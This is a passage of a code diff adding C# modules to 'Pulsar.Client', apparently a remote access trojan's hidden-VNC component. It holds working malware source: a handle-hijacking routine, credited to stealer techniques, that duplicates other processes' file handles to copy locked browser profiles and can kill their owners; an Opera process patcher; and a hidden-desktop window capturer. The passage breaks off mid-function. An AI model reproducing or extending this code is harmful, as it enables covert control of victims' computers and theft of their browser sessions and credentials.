CloseHandle(processHandle); + } + } + + /// + /// Asynchronously patches Opera processes with retry logic + /// + /// Maximum number of retry attempts + /// Delay between retry attempts in milliseconds + /// Task that completes when patching is done + public static async Task PatchOperaAsync(int maxRetries = 5, int delayBetweenRetries = 2000) + { + await Task.Run(async () => + { + for (int attempt = 0; attempt < maxRetries; attempt++) + { + try + { + if (PatchOperaProcesses()) + { + Debug.WriteLine("Opera patching completed successfully"); + return; + } + + if (attempt < maxRetries - 1) + { + Debug.WriteLine($"Opera patching attempt {attempt + 1} failed, retrying in {delayBetweenRetries}ms"); + await Task.Delay(delayBetweenRetries); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Opera patching attempt {attempt + 1} failed with exception: {ex.Message}"); + if (attempt < maxRetries - 1) + { + await Task.Delay(delayBetweenRetries); + } + } + } + + Debug.WriteLine("All Opera patching attempts failed"); + }); + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/CloneProgressForm.Designer.cs b/Pulsar.Client/Helper/HVNC/CloneProgressForm.Designer.cs new file mode 100644 index 0000000..f216efd --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/CloneProgressForm.Designer.cs @@ -0,0 +1,114 @@ +namespace Pulsar.Client.Helper.HVNC +{ + partial class CloneProgressForm + { + private System.ComponentModel.IContainer components = null; + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblDetail; + private System.Windows.Forms.ProgressBar progressBar; + private System.Windows.Forms.Button btnCancel; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.lblTitle = new System.Windows.Forms.Label(); + this.lblDetail = new System.Windows.Forms.Label(); + this.progressBar = new System.Windows.Forms.ProgressBar(); + this.btnCancel = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = false; + this.lblTitle.Dock = System.Windows.Forms.DockStyle.Top; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point); + this.lblTitle.Location = new System.Drawing.Point(10, 10); + this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(280, 20); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Cloning browser profile..."; + this.lblTitle.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // lblDetail + // + this.lblDetail.AutoEllipsis = true; + this.lblDetail.Dock = System.Windows.Forms.DockStyle.Top; + this.lblDetail.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point); + this.lblDetail.Location = new System.Drawing.Point(10, 30); + this.lblDetail.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDetail.Name = "lblDetail"; + this.lblDetail.Size = new System.Drawing.Size(280, 17); + this.lblDetail.TabIndex = 1; + this.lblDetail.Text = "Preparing..."; + this.lblDetail.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // progressBar + // + this.progressBar.Dock = System.Windows.Forms.DockStyle.Top; + this.progressBar.Location = new System.Drawing.Point(10, 50); + this.progressBar.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3); + this.progressBar.Name = "progressBar"; + this.progressBar.Size = new System.Drawing.Size(280, 15); + this.progressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.progressBar.TabIndex = 2; + // + // btnCancel + // + this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.System; + this.btnCancel.Location = new System.Drawing.Point(215, 73); + this.btnCancel.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(75, 23); + this.btnCancel.TabIndex = 3; + this.btnCancel.Text = "Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // CloneProgressForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(32, 32, 32); + this.ClientSize = new System.Drawing.Size(300, 110); + this.Controls.Add(this.progressBar); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.lblDetail); + this.Controls.Add(this.lblTitle); + this.DoubleBuffered = true; + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point); + this.ForeColor = System.Drawing.Color.Gainsboro; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "CloneProgressForm"; + this.Padding = new System.Windows.Forms.Padding(10); + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Profile cloning"; + this.TopMost = true; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CloneProgressForm_FormClosing); + this.ResumeLayout(false); + } + + #endregion + } +} diff --git a/Pulsar.Client/Helper/HVNC/CloneProgressForm.cs b/Pulsar.Client/Helper/HVNC/CloneProgressForm.cs new file mode 100644 index 0000000..167fea6 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/CloneProgressForm.cs @@ -0,0 +1,142 @@ +using System; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper.HVNC +{ + internal partial class CloneProgressForm : Form + { + private const int CloseDelayMilliseconds = 450; + private bool _isCompleting; + private bool _cancelRaised; + + public CloneProgressForm() + { + InitializeComponent(); + } + + public event EventHandler UserRequestedCancel; + + public void Initialize(string browserName) + { + lblTitle.Text = string.IsNullOrWhiteSpace(browserName) + ? "Cloning browser profile..." + : $"Cloning {browserName} profile..."; + lblDetail.Text = "Preparing..."; + progressBar.Style = ProgressBarStyle.Marquee; + } + + public void ShowPreparing() + { + progressBar.Style = ProgressBarStyle.Marquee; + lblDetail.Text = "Preparing..."; + } + + public void UpdateProgress(BrowserCloneProgress progress) + { + if (IsDisposed) + { + return; + } + + if (progress.IsIndeterminate || progress.TotalFiles <= 0) + { + progressBar.Style = ProgressBarStyle.Marquee; + lblDetail.Text = "Preparing..."; + return; + } + + if (progressBar.Style != ProgressBarStyle.Continuous) + { + progressBar.Style = ProgressBarStyle.Continuous; + } + + int maximum = Math.Max(1, progress.TotalFiles); + if (progressBar.Maximum != maximum) + { + progressBar.Maximum = maximum; + } + + int value = Math.Min(progress.FilesCopied, progressBar.Maximum); + progressBar.Value = Math.Max(0, value); + + string currentFile = progress.CurrentItem; + if (!string.IsNullOrEmpty(currentFile) && currentFile.Length > 50) + { + currentFile = "..." + currentFile.Substring(currentFile.Length - 50); + } + + lblDetail.Text = string.IsNullOrEmpty(currentFile) + ? $"Cloned {progress.FilesCopied} of {progress.TotalFiles} files" + : $"{progress.FilesCopied}/{progress.TotalFiles}: {currentFile}"; + } + + public void BeginCompleteAnimation(bool wasSuccessful, Action onClosed) + { + _isCompleting = true; + btnCancel.Enabled = false; + + if (IsDisposed) + { + onClosed?.Invoke(); + return; + } + + progressBar.Style = ProgressBarStyle.Continuous; + progressBar.Maximum = 100; + progressBar.Value = 100; + + lblDetail.Text = wasSuccessful ? "Profile cloned successfully" : "Profile clone failed"; + + var closeTimer = new Timer + { + Interval = CloseDelayMilliseconds + }; + + closeTimer.Tick += (sender, args) => + { + closeTimer.Stop(); + closeTimer.Dispose(); + onClosed?.Invoke(); + if (!IsDisposed) + { + Close(); + } + }; + + closeTimer.Start(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + RaiseCancelRequested(); + if (!IsDisposed) + { + Close(); + } + } + + private void CloneProgressForm_FormClosing(object sender, FormClosingEventArgs e) + { + if (_isCompleting) + { + return; + } + + if (e.CloseReason == CloseReason.UserClosing || e.CloseReason == CloseReason.TaskManagerClosing) + { + RaiseCancelRequested(); + } + } + + private void RaiseCancelRequested() + { + if (_cancelRaised) + { + return; + } + + _cancelRaised = true; + UserRequestedCancel?.Invoke(this, EventArgs.Empty); + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/CloneProgressForm.resx b/Pulsar.Client/Helper/HVNC/CloneProgressForm.resx new file mode 100644 index 0000000..1510323 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/CloneProgressForm.resx @@ -0,0 +1,15 @@ + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + diff --git a/Pulsar.Client/Helper/HVNC/HandleHijacker.cs b/Pulsar.Client/Helper/HVNC/HandleHijacker.cs new file mode 100644 index 0000000..e5c22a3 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/HandleHijacker.cs @@ -0,0 +1,695 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Linq; +using System.Threading; +using Pulsar.Client.Recovery.Utilities.Xeno; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Advanced file reading using handle hijacking and memory mapping + /// Based on XenoStealer techniques - reads locked files without killing processes + /// + internal static class HandleHijacker + { + #region Native Structures + + [StructLayout(LayoutKind.Sequential)] + private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX + { + public IntPtr Object; + public IntPtr UniqueProcessId; + public IntPtr HandleValue; + public uint GrantedAccess; + public ushort CreatorBackTraceIndex; + public ushort ObjectTypeIndex; + public uint HandleAttributes; + public uint Reserved; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SYSTEM_HANDLE_INFORMATION_EX + { + public IntPtr NumberOfHandles; + public IntPtr Reserved; + // Handles follow after this + } + + private enum SYSTEM_INFORMATION_CLASS + { + SystemExtendedHandleInformation = 64 + } + + private enum FileType : uint + { + FILE_TYPE_UNKNOWN = 0x0000, + FILE_TYPE_DISK = 0x0001, + FILE_TYPE_CHAR = 0x0002, + FILE_TYPE_PIPE = 0x0003 + } + + [StructLayout(LayoutKind.Sequential)] + private struct RM_UNIQUE_PROCESS + { + public uint dwProcessId; + public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct RM_PROCESS_INFO + { + public RM_UNIQUE_PROCESS Process; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] + public string strAppName; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)] + public string strServiceShortName; + public uint ApplicationType; + public uint AppStatus; + public uint TSSessionId; + [MarshalAs(UnmanagedType.Bool)] + public bool bRestartable; + } + + private enum RM_REBOOT_REASON + { + RmRebootReasonNone = 0x0, + RmRebootReasonPermissionDenied = 0x1, + RmRebootReasonSessionMismatch = 0x2, + RmRebootReasonCriticalProcess = 0x4, + RmRebootReasonCriticalService = 0x8, + RmRebootReasonDetectedSelf = 0x10 + } + + #endregion + + #region Native Methods + + [DllImport("ntdll.dll")] + private static extern uint NtQuerySystemInformation( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + IntPtr SystemInformation, + uint SystemInformationLength, + out uint ReturnLength); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool DuplicateHandle( + IntPtr hSourceProcessHandle, + IntPtr hSourceHandle, + IntPtr hTargetProcessHandle, + ref IntPtr lpTargetHandle, + uint dwDesiredAccess, + bool bInheritHandle, + uint dwOptions); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern FileType GetFileType(IntPtr hFile); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern uint GetFinalPathNameByHandleW( + IntPtr hFile, + StringBuilder lpszFilePath, + uint cchFilePath, + uint dwFlags); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern IntPtr CreateFileMappingA( + IntPtr hFile, + IntPtr lpFileMappingAttributes, + uint flProtect, + uint dwMaximumSizeHigh, + uint dwMaximumSizeLow, + string lpName); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool GetFileSizeEx(IntPtr hFile, out ulong lpFileSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr MapViewOfFile( + IntPtr hFileMappingObject, + uint dwDesiredAccess, + uint dwFileOffsetHigh, + uint dwFileOffsetLow, + UIntPtr dwNumberOfBytesToMap); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool UnmapViewOfFile(IntPtr lpBaseAddress); + + [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)] + private static extern int RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey); + + [DllImport("rstrtmgr.dll")] + private static extern int RmEndSession(uint pSessionHandle); + + [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)] + private static extern int RmRegisterResources( + uint pSessionHandle, + uint nFiles, + string[] rgsFilenames, + uint nApplications, + RM_UNIQUE_PROCESS[] rgApplications, + uint nServices, + string[] rgsServiceNames); + + [DllImport("rstrtmgr.dll")] + private static extern int RmGetList( + uint dwSessionHandle, + out uint pnProcInfoNeeded, + ref uint pnProcInfo, + [In, Out] RM_PROCESS_INFO[] rgAffectedApps, + out RM_REBOOT_REASON lpdwRebootReasons); + + #endregion + + #region Constants + + private const uint PROCESS_DUP_HANDLE = 0x0040; + private const uint DUPLICATE_SAME_ACCESS = 0x00000002; + private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + private const uint PAGE_READONLY = 0x02; + private const uint FILE_MAP_READ = 0x04; + private const uint FILE_NAME_NORMALIZED = 0x0; + private const uint ERROR_MORE_DATA = 0xEA; + + #endregion + + /// + /// Safely closes a handle, ignoring exceptions from pseudo-handles or invalid handles + /// + private static void SafeCloseHandle(IntPtr handle) + { + if (handle == IntPtr.Zero || handle == new IntPtr(-1)) + return; + + try + { + CloseHandle(handle); + } + catch + { + // Some handles (like pseudo-handles) throw exceptions when closed + // This is expected and can be safely ignored + } + } + + /// + /// Forces reading a file even if it's locked by another process + /// Uses handle hijacking and memory mapping + /// + public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfFailed = false) + { + // First try normal read + try + { + return File.ReadAllBytes(filePath); + } + catch (Exception e) + { + // -2147024864 is the HRESULT for file being used by another process + if (e.HResult != -2147024864) + { + return null; + } + } + + Debug.WriteLine($"[HandleHijacker] File locked: {filePath}"); + Debug.WriteLine("[HandleHijacker] Attempting handle hijacking..."); + + bool hasPids = GetProcessesLockingFile(filePath, out int[] lockingProcesses); + + IntPtr pInfo = IntPtr.Zero; + try + { + uint dwSize = 0; + uint status; + int handleStructSize = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)); + + pInfo = Marshal.AllocHGlobal(handleStructSize); + do + { + status = NtQuerySystemInformation( + SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation, + pInfo, + dwSize, + out dwSize); + + if (status == STATUS_INFO_LENGTH_MISMATCH) + { + pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize); + } + } while (status != 0); + + IntPtr pInfoBackup = pInfo; + ulong numOfHandles = (ulong)Marshal.ReadIntPtr(pInfo); + pInfo += 2 * IntPtr.Size; + + Debug.WriteLine($"[HandleHijacker] Scanning {numOfHandles} handles..."); + + byte[] result = null; + + for (ulong i = 0; i < numOfHandles; i++) + { + IntPtr handlePtr = pInfo + (int)(i * (uint)handleStructSize); + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo = + Marshal.PtrToStructure(handlePtr); + + if (hasPids && !Array.Exists(lockingProcesses, pid => pid == (int)(uint)handleInfo.UniqueProcessId)) + { + continue; + } + + // dupe handle + if (DuplicateHandleFromProcess( + (int)handleInfo.UniqueProcessId, + handleInfo.HandleValue, + out IntPtr duppedHandle)) + { + try + { + if (GetFileType(duppedHandle) != FileType.FILE_TYPE_DISK) + { + SafeCloseHandle(duppedHandle); + continue; + } + + string handlePath = GetPathFromHandle(duppedHandle); + if (handlePath == null) + { + SafeCloseHandle(duppedHandle); + continue; + } + + if (handlePath.StartsWith("\\\\?\\")) + { + handlePath = handlePath.Substring(4); + } + + if (string.Equals(handlePath, filePath, StringComparison.OrdinalIgnoreCase)) + { + Debug.WriteLine($"[HandleHijacker] Found matching handle from PID {handleInfo.UniqueProcessId}"); + result = ReadFileBytesFromHandle(duppedHandle); + SafeCloseHandle(duppedHandle); + + if (result != null) + { + Debug.WriteLine($"[HandleHijacker] Successfully read {result.Length} bytes"); + break; + } + } + + SafeCloseHandle(duppedHandle); + } + catch + { + SafeCloseHandle(duppedHandle); + } + } + } + + Marshal.FreeHGlobal(pInfoBackup); + + if (result == null && killOwningProcessIfFailed && lockingProcesses != null) + { + Debug.WriteLine($"[HandleHijacker] Handle hijacking failed for '{filePath}', killing locking processes..."); + foreach (var pid in lockingProcesses) + { + try + { + var proc = Process.GetProcessById(pid); + Debug.WriteLine($"[HandleHijacker] Killing process PID {pid} ({proc.ProcessName})"); + proc.Kill(); + } + catch { } + } + + System.Threading.Thread.Sleep(100); + + try + { + result = File.ReadAllBytes(filePath); + Debug.WriteLine("[HandleHijacker] Successfully read after killing processes"); + } + catch { } + } + + return result; + } + finally + { + if (pInfo != IntPtr.Zero) + { + try { Marshal.FreeHGlobal(pInfo); } catch { } + } + } + } + + /// + /// Copies a locked file using handle hijacking + /// + public static bool ForceCopyFile(string sourcePath, string destinationPath, bool killIfFailed = false) + { + bool hijacked = FileHandlerXeno.CloneFileByHandleHijacking(sourcePath, destinationPath); + if (hijacked && ValidateFileCopy(sourcePath, destinationPath)) + { + return true; + } + + byte[] fileData = ForceReadFile(sourcePath, killIfFailed); + if (fileData == null) + { + return false; + } + + try + { + File.WriteAllBytes(destinationPath, fileData); + } + catch (Exception ex) + { + Debug.WriteLine($"[HandleHijacker] Failed to write file '{destinationPath}': {ex.Message}"); + return false; + } + + if (!ValidateFileCopy(sourcePath, destinationPath)) + { + Debug.WriteLine($"[HandleHijacker] Validation failed after writing '{destinationPath}'."); + try + { + if (File.Exists(destinationPath)) + { + File.Delete(destinationPath); + } + } + catch { } + + return false; + } + + return true; + } + + private static bool DuplicateHandleFromProcess(int sourceProcessId, IntPtr sourceHandle, out IntPtr targetHandle) + { + targetHandle = IntPtr.Zero; + + IntPtr procHandle = OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProcessId); + if (procHandle == IntPtr.Zero) + { + return false; + } + + IntPtr newHandle = IntPtr.Zero; + bool success = DuplicateHandle( + procHandle, + sourceHandle, + GetCurrentProcess(), + ref newHandle, + 0, + false, + DUPLICATE_SAME_ACCESS); + + CloseHandle(procHandle); + + if (success && newHandle != IntPtr.Zero) + { + targetHandle = newHandle; + return true; + } + + return false; + } + + private static string GetPathFromHandle(IntPtr fileHandle) + { + StringBuilder fileNameBuilder = new StringBuilder(32767 + 2); + uint pathLen = GetFinalPathNameByHandleW( + fileHandle, + fileNameBuilder, + (uint)fileNameBuilder.Capacity, + FILE_NAME_NORMALIZED); + + if (pathLen == 0) + { + return null; + } + + return fileNameBuilder.ToString(0, (int)pathLen); + } + + private static byte[] ReadFileBytesFromHandle(IntPtr handle) + { + IntPtr fileMapping = CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null); + if (fileMapping == IntPtr.Zero) + { + return null; + } + + try + { + if (!GetFileSizeEx(handle, out ulong fileSize)) + { + return null; + } + + if (fileSize == 0) + { + return new byte[0]; + } + + IntPtr baseAddress = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize); + if (baseAddress == IntPtr.Zero) + { + return null; + } + + try + { + byte[] fileData = new byte[fileSize]; + Marshal.Copy(baseAddress, fileData, 0, (int)fileSize); + return fileData; + } + finally + { + UnmapViewOfFile(baseAddress); + } + } + finally + { + CloseHandle(fileMapping); + } + } + + private static bool GetProcessesLockingFile(string filePath, out int[] processes) + { + processes = null; + + string sessionKey = Guid.NewGuid().ToString(); + if (RmStartSession(out uint sessionHandle, 0, sessionKey) != 0) + { + return false; + } + + try + { + string[] resources = new string[] { filePath }; + if (RmRegisterResources(sessionHandle, (uint)resources.Length, resources, 0, null, 0, null) != 0) + { + return false; + } + + uint nProcInfo = 0; + int status = RmGetList(sessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out _); + + if (status != ERROR_MORE_DATA) + { + processes = new int[0]; + return true; + } + + RM_PROCESS_INFO[] affectedApps = new RM_PROCESS_INFO[nProcInfoNeeded]; + nProcInfo = nProcInfoNeeded; + status = RmGetList(sessionHandle, out nProcInfoNeeded, ref nProcInfo, affectedApps, out _); + + if (status == 0) + { + processes = new int[affectedApps.Length]; + for (int i = 0; i < affectedApps.Length; i++) + { + processes[i] = (int)affectedApps[i].Process.dwProcessId; + } + return true; + } + + return false; + } + finally + { + RmEndSession(sessionHandle); + } + } + + /// + /// Copies an entire directory using handle hijacking for locked files + /// + public static bool ForceCopyDirectory(string sourceDir, string destDir, bool killIfFailed = false, IProgress progress = null, CancellationToken cancellationToken = default) + { + try + { + if (!Directory.Exists(sourceDir)) + { + return false; + } + + Directory.CreateDirectory(destDir); + + var directories = new List(); + foreach (string directory in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories)) + { + cancellationToken.ThrowIfCancellationRequested(); + directories.Add(directory); + } + + foreach (string directory in directories) + { + cancellationToken.ThrowIfCancellationRequested(); + + string relativeDir = directory.Substring(sourceDir.Length) + .TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string targetDir = string.IsNullOrEmpty(relativeDir) + ? destDir + : Path.Combine(destDir, relativeDir); + + Directory.CreateDirectory(targetDir); + } + + var files = new List(); + + foreach (string file in Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories)) + { + cancellationToken.ThrowIfCancellationRequested(); + files.Add(file); + } + + int totalFiles = files.Count; + int processed = 0; + bool allFilesCopied = true; + + progress?.Report(new BrowserCloneProgress(0, totalFiles, string.Empty, totalFiles == 0)); + + foreach (string file in files) + { + cancellationToken.ThrowIfCancellationRequested(); + + string relativePath = file.Substring(sourceDir.Length) + .TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string destFile = Path.Combine(destDir, relativePath); + + string destFileDirectory = Path.GetDirectoryName(destFile); + if (!string.IsNullOrEmpty(destFileDirectory)) + { + Directory.CreateDirectory(destFileDirectory); + } + + bool copied = TryCopyFileWithValidation(file, destFile, killIfFailed); + if (!copied) + { + Debug.WriteLine($"[HandleHijacker] Failed to copy '{file}' to '{destFile}'."); + allFilesCopied = false; + } + + processed++; + progress?.Report(new BrowserCloneProgress(processed, totalFiles, relativePath)); + } + + progress?.Report(new BrowserCloneProgress(totalFiles, totalFiles, string.Empty)); + + return allFilesCopied; + } + catch (Exception ex) + { + Debug.WriteLine($"[HandleHijacker] Error copying directory: {ex.Message}"); + return false; + } + } + + private static bool TryCopyFileWithValidation(string sourcePath, string destinationPath, bool killIfFailed) + { + try + { + File.Copy(sourcePath, destinationPath, true); + } + catch (Exception ex) + { + Debug.WriteLine($"[HandleHijacker] Standard copy failed for '{sourcePath}': {ex.Message}"); + } + + if (ValidateFileCopy(sourcePath, destinationPath)) + { + return true; + } + + if (!ForceCopyFile(sourcePath, destinationPath, killIfFailed)) + { + return false; + } + + return ValidateFileCopy(sourcePath, destinationPath); + } + + private static bool ValidateFileCopy(string sourcePath, string destinationPath) + { + try + { + if (!File.Exists(sourcePath) || !File.Exists(destinationPath)) + { + return false; + } + + var sourceInfo = new FileInfo(sourcePath); + var destInfo = new FileInfo(destinationPath); + + if (sourceInfo.Length != destInfo.Length) + { + return false; + } + + MirrorFileMetadata(sourceInfo, destInfo); + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"[HandleHijacker] Failed to validate copy '{sourcePath}' -> '{destinationPath}': {ex.Message}"); + return false; + } + } + + private static void MirrorFileMetadata(FileInfo sourceInfo, FileInfo destInfo) + { + try + { + File.SetAttributes(destInfo.FullName, sourceInfo.Attributes); + } + catch { } + + try + { + File.SetCreationTimeUtc(destInfo.FullName, sourceInfo.CreationTimeUtc); + File.SetLastWriteTimeUtc(destInfo.FullName, sourceInfo.LastWriteTimeUtc); + File.SetLastAccessTimeUtc(destInfo.FullName, sourceInfo.LastAccessTimeUtc); + } + catch { } + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/ImageHandler.cs b/Pulsar.Client/Helper/HVNC/ImageHandler.cs new file mode 100644 index 0000000..acb5260 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/ImageHandler.cs @@ -0,0 +1,268 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper.HVNC +{ + internal class ImageHandler + { + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetDC(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll")] + private static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect); + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd); + + [DllImport("user32.dll")] + private static extern IntPtr GetTopWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateCompatibleDC(IntPtr hdc); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight); + + [DllImport("gdi32.dll")] + private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj); + + [DllImport("gdi32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool DeleteObject(IntPtr hObject); + + [DllImport("gdi32.dll")] + private static extern bool DeleteDC(IntPtr hdc); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool CloseDesktop(IntPtr hDesktop); + + [DllImport("gdi32.dll")] + private static extern int GetDeviceCaps(IntPtr hdc, int nIndex); + + public ImageHandler(string DesktopName) + { + IntPtr intPtr = OpenDesktop(DesktopName, 0, true, 511U); + if (intPtr == IntPtr.Zero) + { + intPtr = CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511U, IntPtr.Zero); + } + this.Desktop = intPtr; + } + + private static float GetScalingFactor() + { + float result; + using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero)) + { + IntPtr hdc = graphics.GetHdc(); + int deviceCaps = GetDeviceCaps(hdc, 10); + result = (float)GetDeviceCaps(hdc, 117) / (float)deviceCaps; + graphics.ReleaseHdc(hdc); + } + return result; + } + + private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea) + { + bool result = false; + RECT rect; + GetWindowRect(hWnd, out rect); + + // Only draw if window is within the capture area + if (rect.Right < captureArea.Left || rect.Left > captureArea.Right || + rect.Bottom < captureArea.Top || rect.Top > captureArea.Bottom) + { + return false; + } + + IntPtr intPtr = CreateCompatibleDC(DC); + IntPtr intPtr2 = CreateCompatibleBitmap(DC, (int)((float)(rect.Right - rect.Left) * scalingFactor), (int)((float)(rect.Bottom - rect.Top) * scalingFactor)); + SelectObject(intPtr, intPtr2); + uint nFlags = 2U; + if (PrintWindow(hWnd, intPtr, nFlags)) + { + try + { + Bitmap bitmap = Image.FromHbitmap(intPtr2); + // Adjust draw position relative to capture area + ModifiableScreen.DrawImage(bitmap, new Point(rect.Left - captureArea.Left, rect.Top - captureArea.Top)); + bitmap.Dispose(); + result = true; + } + catch + { + } + } + DeleteObject(intPtr2); + DeleteDC(intPtr); + return result; + } + + private void DrawTopDown(IntPtr owner, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea) + { + IntPtr intPtr = GetTopWindow(owner); + if (intPtr == IntPtr.Zero) + { + return; + } + intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDLAST); + if (intPtr == 